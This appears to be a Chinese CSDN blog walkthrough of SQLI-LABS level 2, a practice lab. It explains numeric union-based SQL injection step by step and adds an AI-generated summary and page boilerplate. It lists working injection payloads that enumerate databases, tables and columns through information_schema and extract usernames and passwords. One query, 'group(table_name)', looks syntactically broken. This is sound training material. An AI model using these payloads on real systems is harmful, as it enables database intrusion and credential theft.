SQLI-LABS 02.第二关 【显错注入_数字型不闭合】

SQLI-LABS

02.第二关 【显错注入_数字型不闭合】

1.后端PHP源码分析

核心语句
本关的语句:$sql="SELECT * FROM users WHERE id= $id  ;
对比前一关:$sql="SELECT * FROM users WHERE id='$id' ;
闭合方式

不需要闭合

处理思路

不需要关心单引号闭合,只需要最后-- x注释掉后边内容

中间可以构造使用AND OR 拼接语句进行探测

2.探测SQL注入漏洞

step1.判断注入点:
?id=1    and 1=1    -- x  正常显示
?id=1    and 1=2    -- x  显示异常

对比第一关
?id=1'    and 1=1    -- x
?id=1'    and 1=2    -- x
step2.推断字段数:
?id=1    order by 3    -- x  显示正常
?id=1    order by 4    -- x  显示异常
step3.找出显错位 :
?id=-1    union select 1,2,3    -- x  2和3被显示出来
step4.查询库表列:
//查询库名
?id=-1    union select 1,database(),3    -- x
//返回出数据库名为security

//关于information_schema,它是一个库,它有个tables表,
字段有的table_schema table_name create_time 等信息
每行是数据库server中所有database的所有table

//table_schema 是 information_schema.tables 表中的一个列,
用于表示数据库中的表所属的数据库名称。

//为什么要加limit,因为有很多个表名都来自security数据库
查询结果其实会有很多行,可以使用limit逐行显示,或者用group_concat拼接显示

//查询 security 数据库中第一个表的名称,
?id=-1     union 
           select 1,    table_name    ,3 
           from information_schema.tables    //位置 指定某个表
           where table_schema='security'     //条件 限制某些行
           limit 0,1    -- x                 //输出  emails
           
?id=-1     union 
           select 1,    table_name    ,3 
           from information_schema.tables 
           where table_schema='security'
           limit 1,1    -- x                 //输出 referers

?id=-1     union 
           select 1,    table_name    ,3 
           from information_schema.tables 
           where table_schema='security'
           limit 2,1    -- x                 //输出 uagents
           limit 3,1    -- x                 //输出 users
           limit 4,1    -- x                 //输出 为空


?id=-1     union 
           select 1,    group(table_name)    ,3 
           from information_schema.tables 
           where table_schema='security'
           limit 0,1    -- x



//查询某个库某个表的所有列名,逐行显示出

?id=-1     union 
           select 1,    column_name    ,3 
           from information_schema.columns   //位置 某个表
           where table_schema='security' and table_name='users'     
           limit 0,1    -- x                 //输出 id
           limit 1,1    -- x                 //输出 username
           limit 2,1    -- x                 //输出 password
           limit 3,1    -- x                 //输出 为空
           
step5.查询数据值:
//在users表中,对id列,逐行显示出

?id=-1    union select 1,  id  ,3     from users    limit 0,1    -- x
?id=-1    union select 1,  id  ,3     from users    limit 1,1    -- x
?id=-1    union select 1,  id  ,3     from users    limit 2,1    -- x


?id=-1    union select 1,  username  ,3     from users    limit 0,1    -- x
?id=-1    union select 1,  password  ,3     from users    limit 0,1    -- x
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
回答: SQLI-LABS第二是一个显错注入数字型闭合的挑战。在这个挑战中,通过分析后端PHP源码,我们可以看到核心语句是`$sql="SELECT * FROM users WHERE id= $id ;`。与前一相比,这里的闭合方式不同,没有使用单引号将$id包围起来。\[1\] 为了获取users表的列名,我们可以使用注入语句`?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'`。这个语句利用了UNION操作符和information_schema表来获取列名。\[2\] 通过判断报错信息,我们可以初步确定存在注入点,并且判断出注入点类型为数字型注入。我们还可以猜测出当前表中的列数为3,并确定数据显示位置为2和3。进一步进行信息收集,我们可以得到数据库名为security,数据库版本为5.7.26,操作系统版本为Win64,数据库用户名为root@localhost,数据库路径为E:\site\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\data\。通过指定数据库,我们可以获取库中的表名,得到的表名为emails、referers、uagents和users。然后,通过指定表,我们可以获取表中的列名,得到的列名为id、username和password。最终,我们可以获取到username和password的数据。\[3\] 希望以上信息对你有所帮助! #### 引用[.reference_title] - *1* [SQLI-LABS 02.第二显错注入_数字型闭合】](https://blog.csdn.net/weixin_45284414/article/details/130685057)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [sqli-labs第二](https://blog.csdn.net/weixin_45633277/article/details/122371405)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [sqli-labs----第二](https://blog.csdn.net/wyzhxhn/article/details/127700962)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值